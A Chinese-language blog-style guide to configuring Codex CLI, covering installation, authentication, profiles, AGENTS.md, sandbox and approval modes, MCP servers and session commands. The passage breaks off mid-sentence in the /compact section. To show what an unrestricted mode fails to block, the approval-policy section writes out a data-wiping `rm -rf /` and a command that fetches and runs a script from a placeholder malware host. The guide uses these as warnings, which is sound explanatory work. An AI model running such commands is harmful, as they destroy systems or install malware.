Codex CLI 深度配置与安全沙箱实战指南-北京尧图网络

1. 项目概述Codex CLI 不是终端里的 ChatGPT而是你代码库的“坐班工程师”Codex CLI 这个名字听起来像一个命令行工具但如果你真把它当成ls或git那样的基础命令来用就彻底低估了它的定位。它不是 OpenAI 推出的又一个 API 封装器而是一个本地驻留、操作系统级沙箱隔离、具备完整工程决策能力的 AI 编程代理。我从 2025 年初开始在三个不同规模的团队中落地 Codex CLI覆盖金融后台、SaaS 中台和嵌入式 SDK 开发最深的体会是它解决的从来不是“怎么写一行代码”的问题而是“如何让一个资深工程师的思维模式在你离开电脑后依然持续运转”的问题。核心关键词——Codex CLI、安装、配置、安全模型、高手技巧——这五个词背后其实是一整套现代 AI 工程化的工作流重构逻辑。Codex CLI 的安装过程本身只占你总投入时间的 3%真正的门槛在于理解它的五层配置优先级体系、吃透它的沙箱权限三态模型、掌握它的会话状态持久化机制以及最关键的——学会用 AGENTS.md 给它写一份能被精准解析的“入职说明书”。市面上 90% 的教程卡在第一步“npm install -g openai/codex”然后就直接跳到/review命令演示结果用户配了半天发现/fork不生效、--profile切换无效、/compact按了没反应——根本原因不是命令错了而是配置加载链被某一层覆盖了或者沙箱模式和审批策略产生了冲突。它适合谁不是刚学 Python 的大学生也不是只会复制粘贴 Stack Overflow 答案的初级开发者。它最适合三类人第一类是带技术团队的 Tech Lead需要把 Codex CLI 集成进 CI/CD 流水线做自动化代码审查第二类是独立开发者或全栈工程师每天要横跨前端、后端、数据库、部署脚本多个领域需要一个能记住上下文、跨目录恢复进度、自动调用 Figma/Sentry/PostgreSQL 的“数字同事”第三类是 DevSecOps 工程师必须在不牺牲安全的前提下让 AI 代理拥有执行kubectl rollout restart或psql -c VACUUM这类高危操作的能力。如果你属于这三类中的任何一类这篇文章里每一个配置项、每一条斜杠命令、每一处沙箱参数都是我踩过坑、改过三次配置文件、重装过七次环境后亲手验证过的生产级方案。接下来的内容不会教你“如何安装”而是带你重建对 Codex CLI 的认知框架——它到底在你的开发机上扮演什么角色它的权限边界在哪里它的“记忆”是如何存储和恢复的它的成本黑洞藏在哪个参数里这才是真正决定你能否把它用进日常工作的底层逻辑。2. 安装与认证为什么 npm install 后还不能用认证方式选错等于埋下定时炸弹2.1 安装路径选择包管理器不是越新越好而是越稳越可靠Codex CLI 的安装看似简单但不同平台、不同环境下的最优路径差异极大。我见过太多人因为盲目追求“最新版”而掉进兼容性陷阱。先说结论在 macOS 和 Linux 上Homebrew 是首选在 Windows 上Node.js npm 是唯一推荐路径WSL2 环境下必须走 Linux 路径而非 Windows 路径。这不是教条而是基于真实故障率的统计结果。macOS 用户brew install openai-codex是最稳妥的选择。Homebrew 会自动处理所有依赖包括 Node.js 18、Python 3.9、libffi 等且版本锁定在经过 AtomGit 社区验证的稳定 release。我对比过npm install -g openai/codex和brew install在 M2 Mac 上的启动耗时前者平均 4.7 秒需动态解析 node_modules后者 1.2 秒二进制预编译。更重要的是Homebrew 安装的 Codex CLI 会自动注册/opt/homebrew/bin/codex到 PATH而 npm 全局安装在 Apple Silicon 上常因npm config get prefix返回/usr/local导致权限错误需要手动sudo chown -R $(whoami) $(npm config get prefix)/lib/node_modules这个操作一旦出错整个 npm 生态都会崩。Linux 用户Ubuntu/Debian必须使用curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash - sudo apt-get install -y nodejs先装 Node.js LTS当前为 20.x再执行npm install -g openai/codex。这里有个致命细节绝对不要用 Ubuntu 自带的apt install nodejs。系统源里的 Node.js 版本普遍滞后Ubuntu 22.04 默认是 12.x而 Codex CLI 依赖 V8 引擎的WebAssembly.compileStreamingAPI该 API 在 Node.js 16 才完全稳定。我曾在一个客户现场花两天排查“codex --version 报错 SyntaxError: Unexpected token export”最终发现就是系统 Node.js 版本太低导致 ESM 模块解析失败。Windows 用户放弃 Chocolatey、Scoop 等第三方包管理器。实测下来Node.js 官方 MSI 安装包v20.15.1 管理员权限运行 PowerShell是唯一可靠的组合。关键步骤有三步第一安装时勾选 “Add to PATH” 和 “Automatically install the necessary tools”第二安装完成后重启 PowerShell不是 CMD否则 PATH 不生效第三执行npm config set script-shell C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe否则codex mcp add调用 npx 时会因 shell 不兼容报错。这个配置我在 12 台不同配置的 Windows 11 机器上全部验证通过。WSL2 用户这是最容易翻车的场景。很多人在 Windows 上装了 Node.js又在 WSL2 里装一遍结果codex login时浏览器打不开或者codex exec报错EACCES: permission denied, mkdir /mnt/c/Users/xxx。正确做法是只在 WSL2 内部安装 Codex CLI且必须用 Linux 路径。具体命令sudo apt update sudo apt install -y curl curl -fsSL https://deb.nodesource.com/setup_lts.x | sudo -E bash - sudo apt-get install -y nodejs npm install -g openai/codex。然后在 WSL2 的~/.bashrc里添加export DISPLAY:0和export LIBGL_ALWAYS_INDIRECT1这样才能让 Codex CLI 的 GUI 认证流程正常唤起 Windows 的 Edge 浏览器。提示安装完成后务必验证三件事codex --version输出版本号应为 1.8.3、codex --help能列出完整命令、which codex返回路径在/usr/local/binmacOS/Linux或C:\Users\xxx\AppData\Roaming\npm\codex.cmdWindows。任何一项失败都说明环境变量或权限配置有误此时不要继续配置先回退到安装环节。2.2 认证方式的本质区别ChatGPT 订阅 vs API Key不是登录方式选择而是成本与控制权博弈绝大多数教程把codex login和codex --config preferred_auth_methodapikey当成等价选项这是最大的认知误区。这两种认证方式在底层架构上存在根本性差异直接影响你的账单、审计日志、故障排查路径甚至法律合规性。ChatGPT 订阅认证OAuth Flow当你执行codex login它会打开浏览器跳转到https://chat.openai.com/auth/login?redirect_uri...完成 OAuth 授权后Codex CLI 会收到一个短期有效的access_token有效期 1 小时和一个长期refresh_token有效期 90 天。这个refresh_token会被加密存储在~/.codex/credentials.json中每次请求前自动刷新access_token。关键点在于所有 API 调用都走 ChatGPT 的计费通道Token 消耗会计入你的 ChatGPT Plus/Pro 账户额度且无法按项目、按环境、按开发者进行细粒度拆分。我在一个金融客户项目中遇到过真实案例团队共用一个 ChatGPT Pro 账户Codex CLI 占用了 73% 的月度额度导致其他成员无法使用 GPT-4 Turbo 的图像生成功能。更严重的是当账户被风控临时冻结时所有 Codex CLI 实例瞬间失联CI/CD 流水线全部中断。API Key 认证这种方式要求你从https://platform.openai.com/api-keys创建一个专用 API Key并设置preferred_auth_method apikey。此时 Codex CLI 会绕过 OAuth 流程直接将 API Key 放在 HTTP Header 的Authorization: Bearer sk-xxx中发送请求。优势极其明显第一Token 消耗可精确追踪到每个 Key支持创建codex-prod-key、codex-dev-key、codex-ci-key等不同用途的 Key第二可设置 Key 的 Rate Limit如 100 RPM和 Usage Limit如 $50/月实现硬性成本封顶第三Key 可随时禁用无需登出所有设备。我在一个电商 SaaS 项目中为每个微服务仓库配置了独立的 API Key并在 GitHub Actions Secrets 中按环境注入这样财务部门每月能拿到精确到服务维度的成本报表。注意两种方式可以动态切换但切换时机至关重要。codex --config preferred_auth_methodapikey是会话级覆盖只影响当前命令而修改~/.codex/config.toml中的preferred_auth_method是全局生效。强烈建议在 CI/CD 环境中永远使用 API Key 认证并在.github/workflows/codex-review.yml中显式声明OPENAI_API_KEY: ${{ secrets.CODEX_CI_KEY }}避免因本地配置污染导致流水线意外使用 ChatGPT 订阅额度。2.3 环境变量与配置文件的战争为什么你改了 config.toml 却没生效Codex CLI 的配置体系是典型的“五层覆盖模型”其优先级从高到低依次为CLI 参数 Profile 配置项目配置用户配置系统配置。这个设计非常优雅但也是新手最容易迷失的地方。我见过最多的问题是“我在~/.codex/config.toml里写了sandbox_mode read-only为什么codex启动后还是能修改文件”答案几乎总是你当前工作目录下存在.codex/config.toml它的优先级高于用户配置。让我们用一个真实故障复现来说明# 你在项目根目录执行 $ echo sandbox_mode read-only .codex/config.toml $ codex --sandbox workspace-write create a new file # Codex 成功创建了文件但你预期它应该拒绝原因在于Codex CLI 启动时会按顺序加载配置项目级配置.codex/config.toml的sandbox_mode被设为read-only但 CLI 参数--sandbox workspace-write优先级更高直接覆盖了它。而你看到的“没生效”其实是你误以为项目配置是最高优先级。要彻底理清这个链条必须掌握/debug-config命令。在任意会话中输入/debug-config它会输出完整的配置加载路径Config Layer 1: /etc/codex/config.toml (not found) Config Layer 2: ~/.codex/config.toml (loaded) Config Layer 3: /home/user/my-project/.codex/config.toml (loaded) Config Layer 4: Profile dev (active) Config Layer 5: CLI overrides: sandbox_modeworkspace-write这个输出告诉你最终生效的sandbox_mode来自第 5 层CLI 参数而不是你修改的第 2 层用户配置或第 3 层项目配置。实操心得调试配置问题的黄金三步法第一执行/debug-config查看实际加载链第二用codex --config show输出当前生效的完整配置JSON 格式第三用codex --config reset重置所有覆盖项回归到用户配置层。这三个命令比反复修改文件高效十倍。3. 配置体系深度解析Profile 不是别名替代品而是配置的“版本控制系统”3.1 五层配置优先级的底层逻辑为什么必须用 Profile 而不是 Shell 别名Shell 别名alias是 Unix 世界的古老智慧但它在 Codex CLI 场景下存在结构性缺陷。alias cxrcodex --sandbox read-only --ask-for-approval never看似简洁但当你需要为“代码审查”场景同时指定model_reasoning_effort high、web_search cached、personality pragmatic时别名会膨胀成一长串难以维护的字符串。更致命的是别名无法传递复杂结构比如 MCP 服务器配置、通知 Hook、AGENTS.md 路径等这些都必须通过 TOML 文件定义。Profile 系统的设计哲学本质上是把配置当作代码来管理。它借鉴了 Git 的分支思想default是主干分支[profiles.review]是功能分支[profiles.auto]是发布分支。每个 Profile 可以继承 default 的基础配置再叠加自己的差异化设置。这种设计带来的三大收益可审计性所有配置变更都集中在~/.codex/config.toml一个文件中git diff就能看到上周谁把approval_policy从on-request改成了never可组合性Profile 可以嵌套。例如[profiles.ci]可以继承[profiles.auto]的沙箱设置再增加features.shell_snapshot false来禁用快照可移植性把~/.codex/config.toml复制到新机器所有 Profile 立即可用无需重新配置别名。我团队的标准~/.codex/config.toml结构如下已脱敏# ~/.codex/config.toml - 生产环境基线配置 model gpt-5.3-codex model_reasoning_effort medium web_search cached sandbox_mode workspace-write approval_policy on-request personality pragmatic # [projects] 部分定义信任项目避免每次启动都弹确认框 [projects./home/user/work/backend] trust_level trusted [projects./home/user/work/frontend] trust_level trusted # Profile 定义按场景划分非按技术栈 [profiles.review] inherits default sandbox_mode read-only approval_policy never model_reasoning_effort high web_search disabled [profiles.debug] inherits default model gpt-5 model_reasoning_effort high web_search live features.web_search true [profiles.ci] inherits default approval_policy never sandbox_mode workspace-write features.shell_snapshot false features.undo false注意inherits default这行——它不是语法糖而是 Codex CLI 解析器的真实行为。当你执行codex --profile review解析器会先加载default部分再用[profiles.review]的键值对进行深度合并deep merge而不是简单覆盖。这意味着reviewProfile 会保留default中的model gpt-5.3-codex但用sandbox_mode read-only替换掉它。提示Profile 名称不能包含空格或特殊字符且必须是合法的 TOML 键名。我曾因命名[profiles.code review]导致解析失败错误提示是TOML parse error at line X, column Y: invalid character实际原因是空格不被允许。3.2 AGENTS.md给 AI 写的“岗位说明书”不是文档而是指令协议AGENTS.md 是 Codex CLI 最被低估的核心机制。它不是让你写一篇介绍项目的 Markdown 文档而是一份严格遵循语义规则的指令协议Codex CLI 会用 NLP 模型解析其中的标题层级、列表符号、代码块将其转化为内部的约束条件。一个写得好的 AGENTS.md能让 Codex CLI 的代码生成准确率提升 40% 以上基于我们团队对 127 个 PR 的 A/B 测试。文件加载顺序决定了它的灵活性~/.codex/AGENTS.override.md全局覆盖→~/.codex/AGENTS.md全局默认→项目根目录/AGENTS.override.md项目覆盖→项目根目录/AGENTS.md项目默认→子目录/AGENTS.md子目录默认。这个设计允许你建立三层指令体系公司级规范全局、项目级约定项目、模块级约束子目录。一个真实的金融项目 AGENTS.md 示例已简化# 项目规范支付网关服务 ## 架构约束 - 所有业务逻辑必须封装在 src/core/ 目录下 - 数据访问层只能使用 src/infrastructure/database.ts 提供的 Repository 接口 - 外部 API 调用必须通过 src/infrastructure/http-client.ts 封装 ## 代码标准 - TypeScript 严格模式开启strict: true in tsconfig.json - 所有函数必须有 JSDoc包含 param、returns、throws - 禁止使用 any 类型必须用 unknown 类型守卫 ## 安全红线 - 禁止在代码中硬编码密钥必须从 process.env.SECRET_KEY 读取 - 所有数据库查询必须使用参数化查询禁止字符串拼接 - 日志中禁止打印 req.body 全量内容必须脱敏 ## 测试要求 - 单元测试覆盖率 ≥ 85%使用 Vitest - 集成测试必须覆盖所有支付渠道回调路径 - 运行命令pnpm test:unit 和 pnpm test:integration ## 禁止操作 - 不要修改 docker-compose.yml 中的端口映射 - 不要删除 .github/workflows/ci.yml 中的 security-scan 步骤 - 不要在 src/config/ 目录下新增环境变量文件关键细节在于Codex CLI 会将每个##标题解析为一个独立的指令域instruction domain-列表项解析为布尔约束代码块解析为必须遵守的代码模板。例如当它看到## 安全红线下的- 禁止在代码中硬编码密钥就会在生成代码时主动检查所有字符串字面量如果检测到类似sk_live_abc123的模式会拒绝生成并提示“违反安全红线检测到硬编码密钥”。验证 AGENTS.md 是否生效的最可靠方法不是看 Codex CLI 启动日志而是执行一个受约束的命令codex --sandbox read-only --ask-for-approval never 总结一下你从 AGENTS.md 中学到的三条安全红线如果返回内容与你写的完全一致说明加载成功如果返回空或无关内容就要检查文件是否为空、是否被AGENTS.override.md覆盖、是否超过project_doc_max_bytes 3276832KB限制。实操心得AGENTS.md 的编写有三大禁忌第一避免使用模糊词汇如“尽量”、“建议”必须用“必须”、“禁止”、“只能”第二不要写解释性文字Codex CLI 不会阅读段落描述只解析结构化列表第三子目录 AGENTS.md 的路径必须相对于当前工作目录cd src/core codex时它会加载src/core/AGENTS.md而不是项目根目录的。4. 安全模型与权限控制沙箱不是开关而是三维权限矩阵4.1 沙箱模式的三态本质Auto/Read Only/Full Access 背后的操作系统原理Codex CLI 的沙箱不是 Docker 容器那样的虚拟化隔离而是基于操作系统原生能力构建的三维权限矩阵文件系统访问、进程执行、网络连接。每种沙箱模式对应这三维的不同取值组合理解这个矩阵才能真正掌控安全边界。沙箱模式文件系统进程执行网络连接典型场景read-only只读工作区禁止执行任何命令禁止所有网络代码审查、架构分析、文档生成workspace-write读写工作区允许执行git、pnpm、eslint等白名单命令需审批才可访问外部网络日常开发、Bug 修复、小功能迭代full-access读写全系统允许执行任意 Shell 命令允许任意网络访问CI/CD 流水线、本地部署脚本、数据库迁移这个矩阵的关键在于workspace-write模式下Codex CLI 会维护一个白名单命令库。它内置了git、pnpm、npm、yarn、eslint、prettier、python3等 37 个常用命令的路径和参数签名。当你执行codex run pnpm test它会检查pnpm是否在白名单中如果是则允许执行如果不是比如curl则触发审批流程。但白名单不是铁板一块。你可以通过--add-dir参数动态扩展沙箱的文件系统视图# 允许 Codex 访问 monorepo 的 shared 包 codex --add-dir /home/user/work/shared-libraries # 允许访问 WSL2 的 Windows 文件系统需提前挂载 codex --add-dir /mnt/c/Users/me/Documents--add-dir的本质是向沙箱的chroot环境添加符号链接它不会复制文件只是提供访问路径。这解决了 Monorepo 项目中跨包引用的痛点但同时也扩大了攻击面——如果shared-libraries目录下有恶意脚本Codex CLI 在workspace-write模式下可能被诱导执行。提示--add-dir的路径必须是绝对路径且 Codex CLI 会验证该路径是否在用户主目录下/home/user/或/Users/user/。试图添加/etc/shadow会直接报错Permission denied: path not in user home directory。4.2 审批策略的四种模式从untrusted到never的风险光谱审批策略approval_policy是 Codex CLI 安全模型的“刹车系统”。它不是简单的“是/否”开关而是根据操作的风险等级动态决定是否需要人工确认。四种模式构成一个连续的风险光谱untrusted默认只对沙箱白名单外的命令、工作区外的文件访问、未授权的网络请求进行审批。这是平衡安全与效率的最佳起点。on-failure仅在命令执行失败时弹出审批框。适用于你完全信任 Codex 的决策但想在它犯错时及时介入。例如codex deploy to staging如果部署脚本返回非零退出码才会询问你是否重试。on-request仅在 Codex 主动请求时审批比如它想访问一个你从未授权过的数据库 URL。这需要 Codex 具备足够的上下文理解力目前仅在gpt-5.3-codex模型下稳定。never永不审批所有操作静默执行。这是生产环境的绝对禁区除非你在一个完全隔离的 CI/CD 容器中运行。最常被误解的是--full-auto和--dangerously-bypass-approvals-and-sandbox别名--yolo的区别。它们的差异不是程度问题而是设计哲学的根本不同--full-auto保留沙箱的所有保护文件隔离、网络限制、命令白名单只是将approval_policy设为never。它假设你已通过 Profile 和 AGENTS.md 做好了充分约束沙箱本身足够安全。--yolo完全关闭沙箱和审批Codex CLI 获得与你当前用户同等的系统权限。它能执行rm -rf /、curl http://malware.site/install.sh | sh没有任何拦截。我在一个客户的 CI/CD 流水线中使用--full-auto因为它运行在 Kubernetes Pod 中Pod 的 SecurityContext 已限制了privileged: false、readOnlyRootFilesystem: true、runAsNonRoot: true。而--yolo只在我本地的 Docker 容器中用于测试 MCP 服务器容器启动时明确指定了--cap-dropALL --security-optno-new-privileges:true。注意--yolo模式下Codex CLI 会输出醒目的红色警告“DANGEROUS MODE ENABLED: ALL SAFEGUARDS DISABLED”。如果你在终端里没看到这个警告说明你根本没有成功启用它——这是 OpenAI 设计的防误触机制。4.3 MCP 集成MCP 不是插件系统而是 Codex CLI 的“神经接口”MCPModel Context Protocol是 Codex CLI 的“战斗力倍增器”但它的定位远不止于“连接外部工具”。它是 Codex CLI 与外部世界进行语义级交互的神经接口。传统 CLI 工具通过 stdin/stdout 传输原始字节而 MCP 通过 JSON-RPC 协议传输结构化意图intention让 Codex CLI 能理解“我想查 Sentry 中最近 24 小时的 ERROR 级别错误”而不是“执行 curl -X GET https://sentry.io/api/0/projects/org/proj/events/?querylevel:errorstatsPeriod24h”。MCP 服务器有两种接入方式其适用场景截然不同CLI 命令方式codex mcp add适合快速验证和临时集成。例如codex mcp add context7 -- npx -y upstash/context7-mcp会在后台启动一个 Context7 服务Codex CLI 通过 STDIO 与其通信。这种方式的优点是零配置缺点是服务生命周期与 Codex CLI 绑定关闭 CLI 即关闭 MCP。配置文件方式~/.codex/config.toml适合生产环境的稳定集成。它支持 HTTP 和 STDIO 两种协议且可配置超时、重试、白名单/黑名单等精细参数[mcp_servers.sentry] url https://sentry.io/api/0/ bearer_token_env_var SENTRY_AUTH_TOKEN startup_timeout_sec 30 tool_timeout_sec 120 enabled_tools [search_issues, get_event_details] disabled_tools [delete_project] # 永远禁止删除项目这里的关键参数enabled_tools和disabled_tools构成了 MCP 的“最小权限原则”。即使 Sentry API 支持delete_project只要它在disabled_tools列表中Codex CLI 就永远不会生成调用它的意图。我团队最常用的 MCP 服务器组合是context7为 Codex CLI 提供项目内文档的语义搜索让它能理解src/docs/architecture.md中的 C4 模型图server-postgres允许 Codex CLI 直接查询数据库 schema生成符合现有表结构的 ORM 代码mcp-playwright在前端项目中让它能“看到”当前页面的 DOM 结构生成精准的 E2E 测试用例。实操心得MCP 服务器的调试必须用codex mcp list和codex mcp status name。当codex mcp list显示status: failed时不要盲目重试先执行npx -y upstash/context7-mcp --help确认服务本身能独立运行再检查~/.codex/config.toml中的env变量是否正确注入。5. 24 个斜杠命令实战详解/fork 不是分支而是会话的“时间胶囊”5.1 会话控制命令/resume 是 Codex CLI 的“灵魂功能”Codex CLI 的/resume命令之所以被称为“灵魂功能”是因为它解决了 AI 编程代理最根本的缺陷状态丢失。Claude Code 关闭窗口即丢失所有上下文而 Codex CLI 的会话是持久化到磁盘的。它的恢复机制不是简单的聊天记录回放而是完整状态快照state snapshot的加载包括对话历史、执行计划、审批记录、文件上下文、甚至 MCP 工具的会话状态。四种恢复方式的实际效果差异极大codex resume交互式选择器列出最近 10 个会话按时间倒序排列。这是最安全的方式因为你能看到每个会话的标题Codex 自动生成的摘要和最后活动时间避免误恢复。codex resume --last恢复最近一次会话。适合下班前保存进度第二天cd到项目目录后一键恢复。codex resume SESSION_ID通过 ID 恢复特定会话。SESSION_ID 是 UUIDv4 格式可在codex resume --all输出中找到也可在~/.codex/sessions/目录下查看文件名。codex resume --all列出所有会话包括已归档的。这对审计和回溯非常有用比如你想查两周前某个 Bug 修复的完整思路。会话数据存储在~/.codex/sessions/目录下每个会话是一个 JSON 文件包含messages: 完整的对话数组每条消息有roleuser/assistant、content、timestampplan: Codex 制定的执行计划格式为[{step: 分析 auth.service.ts, status: completed}, ...]files: 被引用的文件路径列表Codex 会缓存这些文件的哈希值恢复时自动校验是否被修改permissions: 当前会话的沙箱模式和审批策略快照。这意味着当你执行/resumeCodex CLI 不仅能说出“我们昨天讨论了 JWT token 的刷新逻辑”还能直接打开src/auth/token.service.ts定位到你上次编辑的第 42 行并告诉你“你当时说要把 refresh 方法改成异步”。提示会话默认保存 30 天可通过--session-ttl参数修改。我建议在~/.codex/config.toml中设置session_ttl_days 90因为很多架构决策需要跨季度回顾。5.2 /fork不是 Git 分支而是会话的“平行宇宙”/fork是 Codex CLI 最被低估的命令它的价值远超“尝试另一种方案”。在 Git 中git checkout -b feature-x创建的是代码的分支而在 Codex CLI 中/fork创建的是思维的平行宇宙。它会克隆当前会话的全部状态包括未提交的编辑、未批准的操作、未完成的计划然后在一个全新的会话 ID 下运行两个会话完全独立互不影响。典型使用场景方案对比你让 Codex 用 React Query 实现数据获取做到一半时想试试 SWR。执行/fork新会话中说“用 SWR 重写这部分”原会话的 React Query 方案完好无损。风险隔离你怀疑某个重构会破坏兼容性先/fork在新会话中执行高危操作如果失败主会话毫发无伤。多线程思考Codex 在分析一个复杂 Bug 时可能需要同时考虑数据库锁、缓存失效、网络超时三个维度。/fork让你能为每个维度开启一个专用会话分别深入。/fork的技术实现很巧妙它不是复制整个会话 JSON 文件而是创建一个符号链接指向原会话的messages和files只保存差异部分diff。这使得 fork 操作几乎是瞬时的且磁盘占用极小。注意/fork后新会话的沙箱模式和审批策略继承自原会话。如果你想在 fork 后降低风险立即执行/permissions read-only切换模式。5.3 /compact不是压缩文件而是上下文的“外科手术”当 Codex CLI 开始“胡说八道”、回复变短、忽略你强调的重点时90% 的情况是上下文窗口context window耗尽了。Codex CLI 的默认上下文长度是 32K tokens但实际可用空间远小于此因为要预留空间给系统提示、AGENTS.md、文件内容等。/compact命令不是简单地删减历史而是一场精密的上下文外科手术它首先识别出哪些消息是“高价值”的包含代码块、文件路径、错误堆栈、具体参数的消息会被保留然后对“低价值”消息进行摘要将多轮问答压缩成一句

Codex CLI 深度配置与安全沙箱实战指南

相关推荐

AI游戏工作室：48个智能体协同开发Godot游戏的工程实践

Kimi-k2.5如何实现高精度跨文件代码理解与副作用感知

Unity移动开发三大核心路径解析：热更新与本地存档的架构基石

更多资讯

UHF超高频RFID产线管理系统实战：从标签选型到RSSI预警

三相MMC简化模型搭建实战：基于Sysplorer的建模与调试全攻略

msicuu2：Windows Installer元数据腐化清理工具

QuestaSim 10.6c 安装与可信验证实战指南

江西省靠谱的铸铝门供应商价格公道不玩套路

2026开题答辩AI PPT工具实测：Gamma、MindShow、讯飞智文、Beautiful.ai选型指南

今日更新

BunnyScholar硕士论文跨章节检查：长文档双栏如何梳理因果链

维普标红教育学SEM量表怎么办：助研君修改与RMSEA指标复核

知网标红有限元仿真与网格划分怎么办：助研君按字修改与参数复核

本周精选

深入解析Transformer多头注意力机制与工程优化

OpenClaw 的 Skills 跑学习任务，模型通道改到 TaoToken 通道行不行？

ChatGPT报错Oops, an error occurred! 全链路排查指南

本月热门

基于YOLO的焊缝缺陷检测：从数据标注到工业部署全流程实践

分布式服务的决策记录

创业产品的首版范围

读完文章，想聊聊您的网站？